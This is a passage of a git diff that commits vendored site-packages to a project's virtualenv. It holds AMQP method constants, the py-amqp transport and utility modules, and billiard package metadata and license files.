+ Open = (10, 40) + OpenOk = (10, 41) + Close = (10, 50) + CloseOk = (10, 51) + Blocked = (10, 60) + Unblocked = (10, 61) + + +class Channel: + """AMQ Channel class.""" + + CLASS_ID = 20 + + Open = (20, 10) + OpenOk = (20, 11) + Flow = (20, 20) + FlowOk = (20, 21) + Close = (20, 40) + CloseOk = (20, 41) + + +class Exchange: + """AMQ Exchange class.""" + + CLASS_ID = 40 + + Declare = (40, 10) + DeclareOk = (40, 11) + Delete = (40, 20) + DeleteOk = (40, 21) + Bind = (40, 30) + BindOk = (40, 31) + Unbind = (40, 40) + UnbindOk = (40, 51) + + +class Queue: + """AMQ Queue class.""" + + CLASS_ID = 50 + + Declare = (50, 10) + DeclareOk = (50, 11) + Bind = (50, 20) + BindOk = (50, 21) + Purge = (50, 30) + PurgeOk = (50, 31) + Delete = (50, 40) + DeleteOk = (50, 41) + Unbind = (50, 50) + UnbindOk = (50, 51) + + +class Basic: + """AMQ Basic class.""" + + CLASS_ID = 60 + + Qos = (60, 10) + QosOk = (60, 11) + Consume = (60, 20) + ConsumeOk = (60, 21) + Cancel = (60, 30) + CancelOk = (60, 31) + Publish = (60, 40) + Return = (60, 50) + Deliver = (60, 60) + Get = (60, 70) + GetOk = (60, 71) + GetEmpty = (60, 72) + Ack = (60, 80) + Nack = (60, 120) + Reject = (60, 90) + RecoverAsync = (60, 100) + Recover = (60, 110) + RecoverOk = (60, 111) + + +class Confirm: + """AMQ Confirm class.""" + + CLASS_ID = 85 + + Select = (85, 10) + SelectOk = (85, 11) + + +class Tx: + """AMQ Tx class.""" + + CLASS_ID = 90 + + Select = (90, 10) + SelectOk = (90, 11) + Commit = (90, 20) + CommitOk = (90, 21) + Rollback = (90, 30) + RollbackOk = (90, 31) diff --git a/django_lottopy/lib/python3.10/site-packages/amqp/transport.py b/django_lottopy/lib/python3.10/site-packages/amqp/transport.py new file mode 100644 index 00000000..2761f094 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/amqp/transport.py @@ -0,0 +1,674 @@ +"""Transport implementation.""" +# Copyright (C) 2009 Barry Pederson + +import errno +import os +import re +import socket +import ssl +from contextlib import contextmanager +from ssl import SSLError +from struct import pack, unpack + +from .exceptions import UnexpectedFrame +from .platform import KNOWN_TCP_OPTS, SOL_TCP +from .utils import set_cloexec + +_UNAVAIL = {errno.EAGAIN, errno.EINTR, errno.ENOENT, errno.EWOULDBLOCK} + +AMQP_PORT = 5672 + +EMPTY_BUFFER = bytes() + +SIGNED_INT_MAX = 0x7FFFFFFF + +# Yes, Advanced Message Queuing Protocol Protocol is redundant +AMQP_PROTOCOL_HEADER = b'AMQP\x00\x00\x09\x01' + +# Match things like: [fe80::1]:5432, from RFC 2732 +IPV6_LITERAL = re.compile(r'\[([\.0-9a-f:]+)\](?::(\d+))?') + +DEFAULT_SOCKET_SETTINGS = { + 'TCP_NODELAY': 1, + 'TCP_USER_TIMEOUT': 1000, + 'TCP_KEEPIDLE': 60, + 'TCP_KEEPINTVL': 10, + 'TCP_KEEPCNT': 9, +} + + +def to_host_port(host, default=AMQP_PORT): + """Convert hostname:port string to host, port tuple.""" + port = default + m = IPV6_LITERAL.match(host) + if m: + host = m.group(1) + if m.group(2): + port = int(m.group(2)) + else: + if ':' in host: + host, port = host.rsplit(':', 1) + port = int(port) + return host, port + + +class _AbstractTransport: + """Common superclass for TCP and SSL transports. + + PARAMETERS: + host: str + + Broker address in format ``HOSTNAME:PORT``. + + connect_timeout: int + + Timeout of creating new connection. + + read_timeout: int + + sets ``SO_RCVTIMEO`` parameter of socket. + + write_timeout: int + + sets ``SO_SNDTIMEO`` parameter of socket. + + socket_settings: dict + + dictionary containing `optname` and ``optval`` passed to + ``setsockopt(2)``. + + raise_on_initial_eintr: bool + + when True, ``socket.timeout`` is raised + when exception is received during first read. See ``_read()`` for + details. + """ + + def __init__(self, host, connect_timeout=None, + read_timeout=None, write_timeout=None, + socket_settings=None, raise_on_initial_eintr=True, **kwargs): + self.connected = False + self.sock = None + self.raise_on_initial_eintr = raise_on_initial_eintr + self._read_buffer = EMPTY_BUFFER + self.host, self.port = to_host_port(host) + self.connect_timeout = connect_timeout + self.read_timeout = read_timeout + self.write_timeout = write_timeout + self.socket_settings = socket_settings + + __slots__ = ( + "connection", + "sock", + "raise_on_initial_eintr", + "_read_buffer", + "host", + "port", + "connect_timeout", + "read_timeout", + "write_timeout", + "socket_settings", + # adding '__dict__' to get dynamic assignment + "__dict__", + "__weakref__", + ) + + def __repr__(self): + if self.sock: + src = f'{self.sock.getsockname()[0]}:{self.sock.getsockname()[1]}' + dst = f'{self.sock.getpeername()[0]}:{self.sock.getpeername()[1]}' + return f'<{type(self).__name__}: {src} -> {dst} at {id(self):#x}>' + else: + return f'<{type(self).__name__}: (disconnected) at {id(self):#x}>' + + def connect(self): + try: + # are we already connected? + if self.connected: + return + self._connect(self.host, self.port, self.connect_timeout) + self._init_socket( + self.socket_settings, self.read_timeout, self.write_timeout, + ) + # we've sent the banner; signal connect + # EINTR, EAGAIN, EWOULDBLOCK would signal that the banner + # has _not_ been sent + self.connected = True + except (OSError, SSLError): + # if not fully connected, close socket, and reraise error + if self.sock and not self.connected: + self.sock.close() + self.sock = None + raise + + @contextmanager + def having_timeout(self, timeout): + if timeout is None: + yield self.sock + else: + sock = self.sock + prev = sock.gettimeout() + if prev != timeout: + sock.settimeout(timeout) + try: + yield self.sock + except SSLError as exc: + if 'timed out' in str(exc): + # http://bugs.python.org/issue10272 + raise socket.timeout() + elif 'The operation did not complete' in str(exc): + # Non-blocking SSL sockets can throw SSLError + raise socket.timeout() + raise + except OSError as exc: + if exc.errno == errno.EWOULDBLOCK: + raise socket.timeout() + raise + finally: + if timeout != prev: + sock.settimeout(prev) + + def _connect(self, host, port, timeout): + entries = socket.getaddrinfo( + host, port, socket.AF_UNSPEC, socket.SOCK_STREAM, SOL_TCP, + ) + for i, res in enumerate(entries): + af, socktype, proto, canonname, sa = res + try: + self.sock = socket.socket(af, socktype, proto) + try: + set_cloexec(self.sock, True) + except NotImplementedError: + pass + self.sock.settimeout(timeout) + self.sock.connect(sa) + except socket.error: + if self.sock: + self.sock.close() + self.sock = None + if i + 1 >= len(entries): + raise + else: + break + + def _init_socket(self, socket_settings, read_timeout, write_timeout): + self.sock.settimeout(None) # set socket back to blocking mode + self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1) + self._set_socket_options(socket_settings) + + # set socket timeouts + for timeout, interval in ((socket.SO_SNDTIMEO, write_timeout), + (socket.SO_RCVTIMEO, read_timeout)): + if interval is not None: + sec = int(interval) + usec = int((interval - sec) * 1000000) + self.sock.setsockopt( + socket.SOL_SOCKET, timeout, + pack('ll', sec, usec), + ) + self._setup_transport() + + self._write(AMQP_PROTOCOL_HEADER) + + def _get_tcp_socket_defaults(self, sock): + tcp_opts = {} + for opt in KNOWN_TCP_OPTS: + enum = None + if opt == 'TCP_USER_TIMEOUT': + try: + from socket import TCP_USER_TIMEOUT as enum + except ImportError: + # should be in Python 3.6+ on Linux. + enum = 18 + elif hasattr(socket, opt): + enum = getattr(socket, opt) + + if enum: + if opt in DEFAULT_SOCKET_SETTINGS: + tcp_opts[enum] = DEFAULT_SOCKET_SETTINGS[opt] + elif hasattr(socket, opt): + tcp_opts[enum] = sock.getsockopt( + SOL_TCP, getattr(socket, opt)) + return tcp_opts + + def _set_socket_options(self, socket_settings): + tcp_opts = self._get_tcp_socket_defaults(self.sock) + if socket_settings: + tcp_opts.update(socket_settings) + for opt, val in tcp_opts.items(): + self.sock.setsockopt(SOL_TCP, opt, val) + + def _read(self, n, initial=False): + """Read exactly n bytes from the peer.""" + raise NotImplementedError('Must be overridden in subclass') + + def _setup_transport(self): + """Do any additional initialization of the class.""" + pass + + def _shutdown_transport(self): + """Do any preliminary work in shutting down the connection.""" + pass + + def _write(self, s): + """Completely write a string to the peer.""" + raise NotImplementedError('Must be overridden in subclass') + + def close(self): + if self.sock is not None: + try: + self._shutdown_transport() + except OSError: + pass + + # Call shutdown first to make sure that pending messages + # reach the AMQP broker if the program exits after + # calling this method. + try: + self.sock.shutdown(socket.SHUT_RDWR) + except OSError: + pass + + try: + self.sock.close() + except OSError: + pass + self.sock = None + self.connected = False + + def read_frame(self, unpack=unpack): + """Parse AMQP frame. + + Frame has following format:: + + 0 1 3 7 size+7 size+8 + +------+---------+---------+ +-------------+ +-----------+ + | type | channel | size | | payload | | frame-end | + +------+---------+---------+ +-------------+ +-----------+ + octet short long 'size' octets octet + + """ + read = self._read + read_frame_buffer = EMPTY_BUFFER + try: + frame_header = read(7, True) + read_frame_buffer += frame_header + frame_type, channel, size = unpack('>BHI', frame_header) + # >I is an unsigned int, but the argument to sock.recv is signed, + # so we know the size can be at most 2 * SIGNED_INT_MAX + if size > SIGNED_INT_MAX: + part1 = read(SIGNED_INT_MAX) + + try: + part2 = read(size - SIGNED_INT_MAX) + except (socket.timeout, OSError, SSLError): + # In case this read times out, we need to make sure to not + # lose part1 when we retry the read + read_frame_buffer += part1 + raise + + payload = b''.join([part1, part2]) + else: + payload = read(size) + read_frame_buffer += payload + frame_end = ord(read(1)) + except socket.timeout: + self._read_buffer = read_frame_buffer + self._read_buffer + raise + except (OSError, SSLError) as exc: + if ( + isinstance(exc, socket.error) and os.name == 'nt' + and exc.errno == errno.EWOULDBLOCK # noqa + ): + # On windows we can get a read timeout with a winsock error + # code instead of a proper socket.timeout() error, see + # https://github.com/celery/py-amqp/issues/320 + self._read_buffer = read_frame_buffer + self._read_buffer + raise socket.timeout() + + if isinstance(exc, SSLError) and 'timed out' in str(exc): + # Don't disconnect for ssl read time outs + # http://bugs.python.org/issue10272 + self._read_buffer = read_frame_buffer + self._read_buffer + raise socket.timeout() + + if exc.errno not in _UNAVAIL: + self.connected = False + raise + # frame-end octet must contain '\xce' value + if frame_end == 206: + return frame_type, channel, payload + else: + raise UnexpectedFrame( + f'Received frame_end {frame_end:#04x} while expecting 0xce') + + def write(self, s): + try: + self._write(s) + except socket.timeout: + raise + except OSError as exc: + if exc.errno not in _UNAVAIL: + self.connected = False + raise + + +class SSLTransport(_AbstractTransport): + """Transport that works over SSL. + + PARAMETERS: + host: str + + Broker address in format ``HOSTNAME:PORT``. + + connect_timeout: int + + Timeout of creating new connection. + + ssl: bool|dict + + parameters of TLS subsystem. + - when ``ssl`` is not dictionary, defaults of TLS are used + - otherwise: + - if ``ssl`` dictionary contains ``context`` key, + :attr:`~SSLTransport._wrap_context` is used for wrapping + socket. ``context`` is a dictionary passed to + :attr:`~SSLTransport._wrap_context` as context parameter. + All others items from ``ssl`` argument are passed as + ``sslopts``. + - if ``ssl`` dictionary does not contain ``context`` key, + :attr:`~SSLTransport._wrap_socket_sni` is used for + wrapping socket. All items in ``ssl`` argument are + passed to :attr:`~SSLTransport._wrap_socket_sni` as + parameters. + + kwargs: + + additional arguments of + :class:`~amqp.transport._AbstractTransport` class + """ + + def __init__(self, host, connect_timeout=None, ssl=None, **kwargs): + self.sslopts = ssl if isinstance(ssl, dict) else {} + self._read_buffer = EMPTY_BUFFER + super().__init__( + host, connect_timeout=connect_timeout, **kwargs) + + __slots__ = ( + "sslopts", + ) + + def _setup_transport(self): + """Wrap the socket in an SSL object.""" + self.sock = self._wrap_socket(self.sock, **self.sslopts) + self.sock.do_handshake() + self._quick_recv = self.sock.read + + def _wrap_socket(self, sock, context=None, **sslopts): + if context: + return self._wrap_context(sock, sslopts, **context) + return self._wrap_socket_sni(sock, **sslopts) + + def _wrap_context(self, sock, sslopts, check_hostname=None, **ctx_options): + """Wrap socket without SNI headers. + + PARAMETERS: + sock: socket.socket + + Socket to be wrapped. + + sslopts: dict + + Parameters of :attr:`ssl.SSLContext.wrap_socket`. + + check_hostname + + Whether to match the peer cert’s hostname. See + :attr:`ssl.SSLContext.check_hostname` for details. + + ctx_options + + Parameters of :attr:`ssl.create_default_context`. + """ + ctx = ssl.create_default_context(**ctx_options) + ctx.check_hostname = check_hostname + return ctx.wrap_socket(sock, **sslopts) + + def _wrap_socket_sni(self, sock, keyfile=None, certfile=None, + server_side=False, cert_reqs=None, + ca_certs=None, do_handshake_on_connect=False, + suppress_ragged_eofs=True, server_hostname=None, + ciphers=None, ssl_version=None): + """Socket wrap with SNI headers. + + stdlib :attr:`ssl.SSLContext.wrap_socket` method augmented with support + for setting the server_hostname field required for SNI hostname header. + + PARAMETERS: + sock: socket.socket + + Socket to be wrapped. + + keyfile: str + + Path to the private key + + certfile: str + + Path to the certificate + + server_side: bool + + Identifies whether server-side or client-side + behavior is desired from this socket. See + :attr:`~ssl.SSLContext.wrap_socket` for details. + + cert_reqs: ssl.VerifyMode + + When set to other than :attr:`ssl.CERT_NONE`, peers certificate + is checked. Possible values are :attr:`ssl.CERT_NONE`, + :attr:`ssl.CERT_OPTIONAL` and :attr:`ssl.CERT_REQUIRED`. + + ca_certs: str + + Path to “certification authority” (CA) certificates + used to validate other peers’ certificates when ``cert_reqs`` + is other than :attr:`ssl.CERT_NONE`. + + do_handshake_on_connect: bool + + Specifies whether to do the SSL + handshake automatically. See + :attr:`~ssl.SSLContext.wrap_socket` for details. + + suppress_ragged_eofs (bool): + + See :attr:`~ssl.SSLContext.wrap_socket` for details. + + server_hostname: str + + Specifies the hostname of the service which + we are connecting to. See :attr:`~ssl.SSLContext.wrap_socket` + for details. + + ciphers: str + + Available ciphers for sockets created with this + context. See :attr:`ssl.SSLContext.set_ciphers` + + ssl_version: + + Protocol of the SSL Context. The value is one of + ``ssl.PROTOCOL_*`` constants. + """ + opts = { + 'sock': sock, + 'server_side': server_side, + 'do_handshake_on_connect': do_handshake_on_connect, + 'suppress_ragged_eofs': suppress_ragged_eofs, + 'server_hostname': server_hostname, + } + + if ssl_version is None: + ssl_version = ( + ssl.PROTOCOL_TLS_SERVER + if server_side + else ssl.PROTOCOL_TLS_CLIENT + ) + + context = ssl.SSLContext(ssl_version) + + if certfile is not None: + context.load_cert_chain(certfile, keyfile) + if ca_certs is not None: + context.load_verify_locations(ca_certs) + if ciphers is not None: + context.set_ciphers(ciphers) + # Set SNI headers if supported. + # Must set context.check_hostname before setting context.verify_mode + # to avoid setting context.verify_mode=ssl.CERT_NONE while + # context.check_hostname is still True (the default value in context + # if client-side) which results in the following exception: + # ValueError: Cannot set verify_mode to CERT_NONE when check_hostname + # is enabled. + try: + context.check_hostname = ( + ssl.HAS_SNI and server_hostname is not None + ) + except AttributeError: + pass # ask forgiveness not permission + + # See note above re: ordering for context.check_hostname and + # context.verify_mode assignments. + if cert_reqs is not None: + context.verify_mode = cert_reqs + + if ca_certs is None and context.verify_mode != ssl.CERT_NONE: + purpose = ( + ssl.Purpose.CLIENT_AUTH + if server_side + else ssl.Purpose.SERVER_AUTH + ) + context.load_default_certs(purpose) + + sock = context.wrap_socket(**opts) + return sock + + def _shutdown_transport(self): + """Unwrap a SSL socket, so we can call shutdown().""" + if self.sock is not None: + self.sock = self.sock.unwrap() + + def _read(self, n, initial=False, + _errnos=(errno.ENOENT, errno.EAGAIN, errno.EINTR)): + # According to SSL_read(3), it can at most return 16kb of data. + # Thus, we use an internal read buffer like TCPTransport._read + # to get the exact number of bytes wanted. + recv = self._quick_recv + rbuf = self._read_buffer + try: + while len(rbuf) < n: + try: + s = recv(n - len(rbuf)) # see note above + except OSError as exc: + # ssl.sock.read may cause ENOENT if the + # operation couldn't be performed (Issue celery#1414). + if exc.errno in _errnos: + if initial and self.raise_on_initial_eintr: + raise socket.timeout() + continue + raise + if not s: + raise OSError('Server unexpectedly closed connection') + rbuf += s + except: # noqa + self._read_buffer = rbuf + raise + result, self._read_buffer = rbuf[:n], rbuf[n:] + return result + + def _write(self, s): + """Write a string out to the SSL socket fully.""" + write = self.sock.write + while s: + try: + n = write(s) + except ValueError: + # AG: sock._sslobj might become null in the meantime if the + # remote connection has hung up. + # In python 3.4, a ValueError is raised is self._sslobj is + # None. + n = 0 + if not n: + raise OSError('Socket closed') + s = s[n:] + + +class TCPTransport(_AbstractTransport): + """Transport that deals directly with TCP socket. + + All parameters are :class:`~amqp.transport._AbstractTransport` class. + """ + + def _setup_transport(self): + # Setup to _write() directly to the socket, and + # do our own buffered reads. + self._write = self.sock.sendall + self._read_buffer = EMPTY_BUFFER + self._quick_recv = self.sock.recv + + def _read(self, n, initial=False, _errnos=(errno.EAGAIN, errno.EINTR)): + """Read exactly n bytes from the socket.""" + recv = self._quick_recv + rbuf = self._read_buffer + try: + while len(rbuf) < n: + try: + s = recv(n - len(rbuf)) + except OSError as exc: + if exc.errno in _errnos: + if initial and self.raise_on_initial_eintr: + raise socket.timeout() + continue + raise + if not s: + raise OSError('Server unexpectedly closed connection') + rbuf += s + except: # noqa + self._read_buffer = rbuf + raise + + result, self._read_buffer = rbuf[:n], rbuf[n:] + return result + + +def Transport(host, connect_timeout=None, ssl=False, **kwargs): + """Create transport. + + Given a few parameters from the Connection constructor, + select and create a subclass of + :class:`~amqp.transport._AbstractTransport`. + + PARAMETERS: + + host: str + + Broker address in format ``HOSTNAME:PORT``. + + connect_timeout: int + + Timeout of creating new connection. + + ssl: bool|dict + + If set, :class:`~amqp.transport.SSLTransport` is used + and ``ssl`` parameter is passed to it. Otherwise + :class:`~amqp.transport.TCPTransport` is used. + + kwargs: + + additional arguments of :class:`~amqp.transport._AbstractTransport` + class + """ + transport = SSLTransport if ssl else TCPTransport + return transport(host, connect_timeout=connect_timeout, ssl=ssl, **kwargs) diff --git a/django_lottopy/lib/python3.10/site-packages/amqp/utils.py b/django_lottopy/lib/python3.10/site-packages/amqp/utils.py new file mode 100644 index 00000000..8ba5f670 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/amqp/utils.py @@ -0,0 +1,64 @@ +"""Compatibility utilities.""" +import logging +from logging import NullHandler + +# enables celery 3.1.23 to start again +from vine import promise # noqa +from vine.utils import wraps + +try: + import fcntl +except ImportError: # pragma: no cover + fcntl = None # noqa + + +def set_cloexec(fd, cloexec): + """Set flag to close fd after exec.""" + if fcntl is None: + return + try: + FD_CLOEXEC = fcntl.FD_CLOEXEC + except AttributeError: + raise NotImplementedError( + 'close-on-exec flag not supported on this platform', + ) + flags = fcntl.fcntl(fd, fcntl.F_GETFD) + if cloexec: + flags |= FD_CLOEXEC + else: + flags &= ~FD_CLOEXEC + return fcntl.fcntl(fd, fcntl.F_SETFD, flags) + + +def coro(gen): + """Decorator to mark generator as a co-routine.""" + @wraps(gen) + def _boot(*args, **kwargs): + co = gen(*args, **kwargs) + next(co) + return co + + return _boot + + +def str_to_bytes(s): + """Convert str to bytes.""" + if isinstance(s, str): + return s.encode('utf-8', 'surrogatepass') + return s + + +def bytes_to_str(s): + """Convert bytes to str.""" + if isinstance(s, bytes): + return s.decode('utf-8', 'surrogatepass') + return s + + +def get_logger(logger): + """Get logger by name.""" + if isinstance(logger, str): + logger = logging.getLogger(logger) + if not logger.handlers: + logger.addHandler(NullHandler()) + return logger diff --git a/django_lottopy/lib/python3.10/site-packages/billiard-3.6.4.0.dist-info/INSTALLER b/django_lottopy/lib/python3.10/site-packages/billiard-3.6.4.0.dist-info/INSTALLER new file mode 100644 index 00000000..a1b589e3 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard-3.6.4.0.dist-info/INSTALLER @@ -0,0 +1 @@ +pip diff --git a/django_lottopy/lib/python3.10/site-packages/billiard-3.6.4.0.dist-info/LICENSE.txt b/django_lottopy/lib/python3.10/site-packages/billiard-3.6.4.0.dist-info/LICENSE.txt new file mode 100644 index 00000000..b9920edb --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard-3.6.4.0.dist-info/LICENSE.txt @@ -0,0 +1,29 @@ +Copyright (c) 2006-2008, R Oudkerk and Contributors + +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. +3. Neither the name of author nor the names of any contributors may be + used to endorse or promote products derived from this software + without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + diff --git a/django_lottopy/lib/python3.10/site-packages/billiard-3.6.4.0.dist-info/METADATA b/django_lottopy/lib/python3.10/site-packages/billiard-3.6.4.0.dist-info/METADATA new file mode 100644 index 00000000..eef0cba8 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard-3.6.4.0.dist-info/METADATA @@ -0,0 +1,112 @@ +Metadata-Version: 2.1 +Name: billiard +Version: 3.6.4.0 +Summary: Python multiprocessing fork with improvements and bugfixes +Home-page: https://github.com/celery/billiard +Author: R Oudkerk / Python Software Foundation +Author-email: python-dev@python.org +Maintainer: Asif Saif Uddin +Maintainer-email: auvipy@gmail.com +License: BSD +Keywords: multiprocessing pool process +Platform: UNKNOWN +Classifier: Development Status :: 5 - Production/Stable +Classifier: Intended Audience :: Developers +Classifier: Programming Language :: Python +Classifier: Programming Language :: C +Classifier: Programming Language :: Python :: 2 +Classifier: Programming Language :: Python :: 2.7 +Classifier: Programming Language :: Python :: 3 +Classifier: Programming Language :: Python :: 3.5 +Classifier: Programming Language :: Python :: 3.6 +Classifier: Programming Language :: Python :: 3.7 +Classifier: Programming Language :: Python :: 3.8 +Classifier: Programming Language :: Python :: 3.9 +Classifier: Programming Language :: Python :: Implementation :: CPython +Classifier: Programming Language :: Python :: Implementation :: PyPy +Classifier: Operating System :: Microsoft :: Windows +Classifier: Operating System :: POSIX +Classifier: License :: OSI Approved :: BSD License +Classifier: Topic :: Software Development :: Libraries :: Python Modules +Classifier: Topic :: System :: Distributed Computing +Description-Content-Type: text/markdown + +======== +billiard +======== +:version: 3.6.4.0 + +|build-status-lin| |build-status-win| |license| |wheel| |pyversion| |pyimp| + +.. |build-status-lin| image:: https://secure.travis-ci.org/celery/billiard.png?branch=master + :alt: Build status on Linux + :target: https://travis-ci.org/celery/billiard + +.. |build-status-win| image:: https://ci.appveyor.com/api/projects/status/github/celery/billiard?png=true&branch=master + :alt: Build status on Windows + :target: https://ci.appveyor.com/project/ask/billiard + +.. |license| image:: https://img.shields.io/pypi/l/billiard.svg + :alt: BSD License + :target: https://opensource.org/licenses/BSD-3-Clause + +.. |wheel| image:: https://img.shields.io/pypi/wheel/billiard.svg + :alt: Billiard can be installed via wheel + :target: https://pypi.org/project/billiard/ + +.. |pyversion| image:: https://img.shields.io/pypi/pyversions/billiard.svg + :alt: Supported Python versions. + :target: https://pypi.org/project/billiard/ + +.. |pyimp| image:: https://img.shields.io/pypi/implementation/billiard.svg + :alt: Support Python implementations. + :target: https://pypi.org/project/billiard/ + +About +----- + +``billiard`` is a fork of the Python 2.7 `multiprocessing `_ +package. The multiprocessing package itself is a renamed and updated version of +R Oudkerk's `pyprocessing `_ package. +This standalone variant draws its fixes/improvements from python-trunk and provides +additional bug fixes and improvements. + +- This package would not be possible if not for the contributions of not only + the current maintainers but all of the contributors to the original pyprocessing + package listed `here `_. + +- Also, it is a fork of the multiprocessing backport package by Christian Heims. + +- It includes the no-execv patch contributed by R. Oudkerk. + +- And the Pool improvements previously located in `Celery`_. + +- Billiard is used in and is a dependency for `Celery`_ and is maintained by the + Celery team. + +.. _`Celery`: http://celeryproject.org + +Documentation +------------- + +The documentation for ``billiard`` is available on `Read the Docs `_. + +Bug reporting +------------- + +Please report bugs related to multiprocessing at the +`Python bug tracker `_. Issues related to billiard +should be reported at https://github.com/celery/billiard/issues. + +billiard is part of the Tidelift Subscription +--------------------------------------------- + +The maintainers of ``billiard`` and thousands of other packages are working +with Tidelift to deliver commercial support and maintenance for the open source +dependencies you use to build your applications. Save time, reduce risk, and +improve code health, while paying the maintainers of the exact dependencies you +use. `Learn more`_. + +.. _`Learn more`: https://tidelift.com/subscription/pkg/pypi-billiard?utm_source=pypi-billiard&utm_medium=referral&utm_campaign=readme&utm_term=repo + + diff --git a/django_lottopy/lib/python3.10/site-packages/billiard-3.6.4.0.dist-info/RECORD b/django_lottopy/lib/python3.10/site-packages/billiard-3.6.4.0.dist-info/RECORD new file mode 100644 index 00000000..338d94b7 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard-3.6.4.0.dist-info/RECORD @@ -0,0 +1,64 @@ +billiard-3.6.4.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 +billiard-3.6.4.0.dist-info/LICENSE.txt,sha256=ZjLlmsq9u77CYoN9RHJKBlMYlJ8ALv0GAtZCcRrjpFc,1483 +billiard-3.6.4.0.dist-info/METADATA,sha256=vuSGzLNS74m40sl9XXGu1OqEb4SHQuz4JWa6pyNZ7zI,4480 +billiard-3.6.4.0.dist-info/RECORD,, +billiard-3.6.4.0.dist-info/WHEEL,sha256=g4nMs7d-Xl9-xC9XovUrsDHGXt-FT0E17Yqo92DEfvY,92 +billiard-3.6.4.0.dist-info/top_level.txt,sha256=52Kkdlqn9Np8pbpkTVd_1KZTZLGjupUzhUw8QsW-B-U,9 +billiard/__init__.py,sha256=5ZCRrQvZQ0e189Dx_5QzyXm-s2QflZOAwMbiMSdeLlE,1598 +billiard/__pycache__/__init__.cpython-310.pyc,, +billiard/__pycache__/_ext.cpython-310.pyc,, +billiard/__pycache__/_win.cpython-310.pyc,, +billiard/__pycache__/common.cpython-310.pyc,, +billiard/__pycache__/compat.cpython-310.pyc,, +billiard/__pycache__/connection.cpython-310.pyc,, +billiard/__pycache__/context.cpython-310.pyc,, +billiard/__pycache__/einfo.cpython-310.pyc,, +billiard/__pycache__/exceptions.cpython-310.pyc,, +billiard/__pycache__/five.cpython-310.pyc,, +billiard/__pycache__/forkserver.cpython-310.pyc,, +billiard/__pycache__/heap.cpython-310.pyc,, +billiard/__pycache__/managers.cpython-310.pyc,, +billiard/__pycache__/pool.cpython-310.pyc,, +billiard/__pycache__/popen_fork.cpython-310.pyc,, +billiard/__pycache__/popen_forkserver.cpython-310.pyc,, +billiard/__pycache__/popen_spawn_posix.cpython-310.pyc,, +billiard/__pycache__/popen_spawn_win32.cpython-310.pyc,, +billiard/__pycache__/process.cpython-310.pyc,, +billiard/__pycache__/queues.cpython-310.pyc,, +billiard/__pycache__/reduction.cpython-310.pyc,, +billiard/__pycache__/resource_sharer.cpython-310.pyc,, +billiard/__pycache__/semaphore_tracker.cpython-310.pyc,, +billiard/__pycache__/sharedctypes.cpython-310.pyc,, +billiard/__pycache__/spawn.cpython-310.pyc,, +billiard/__pycache__/synchronize.cpython-310.pyc,, +billiard/__pycache__/util.cpython-310.pyc,, +billiard/_ext.py,sha256=JE-Yc_T1SSZ40pnEQSY7P2gVsjnF4fGO1nCPZqMnSlg,912 +billiard/_win.py,sha256=Qb6pNOyqkjTQJbieQ9laK34maNymXRl7YllXV33vc6I,2982 +billiard/common.py,sha256=0MvDZ1K0ttqTPeJ0H8CVeckK6NcwZQ6ZWfYP7RdEav4,4556 +billiard/compat.py,sha256=4hUPL5yMXaoTnw9zHG0Mt_O2ciT75zk9NmZVsNbWsFM,8938 +billiard/connection.py,sha256=KE-sIfd6GJ_U3TagV5_oTl04MfUjuqobaceXFuYAg-c,32759 +billiard/context.py,sha256=b9WZwt_jUlhhh1_8dbuAc-veMso6DGgmr6zsAhaeVGs,13202 +billiard/dummy/__init__.py,sha256=IVBv7GdN40dJjT7qRGfNB6dUtqkJjztZRUeIWQx3lh0,4680 +billiard/dummy/__pycache__/__init__.cpython-310.pyc,, +billiard/dummy/__pycache__/connection.cpython-310.pyc,, +billiard/dummy/connection.py,sha256=i2_VZhEkcfLazb_Pi-Qk7K_6eK4N0ieBYT99rnBHHS4,2954 +billiard/einfo.py,sha256=EctNy7BxU02lmADS6CIY_Y-0uFBIF0vwsAKkBJf55uw,3671 +billiard/exceptions.py,sha256=U1I3miQnFdEr-GpYswFk-tI8pnuRj9fRwFEB6kmpVvs,1312 +billiard/five.py,sha256=LIXMZrpp7tmM-9gxtxGEdhJ2q_h97Bt1VFm2gehKYF0,5544 +billiard/forkserver.py,sha256=Wgpz2mDIR6rLg8M2vAPvt3bkWVad6Kq422qgI_08yD0,8346 +billiard/heap.py,sha256=tcdgH5eM9zJHY747zEYm4wMLqdCfjoaYWZKkasrG33c,9349 +billiard/managers.py,sha256=U3ZyW1zzXjoDnjkHi52RT83h2GaXcEcKIuNzTHNHGHU,36841 +billiard/pool.py,sha256=9_v_BU9gskUJgE9EB4pU-9yXDHuTNpfS6m-c2J1egpE,69071 +billiard/popen_fork.py,sha256=a8Rn2ILCNIcHxFSwqbVSHFaPL_TTp2Ez5osXFDS3-4o,2600 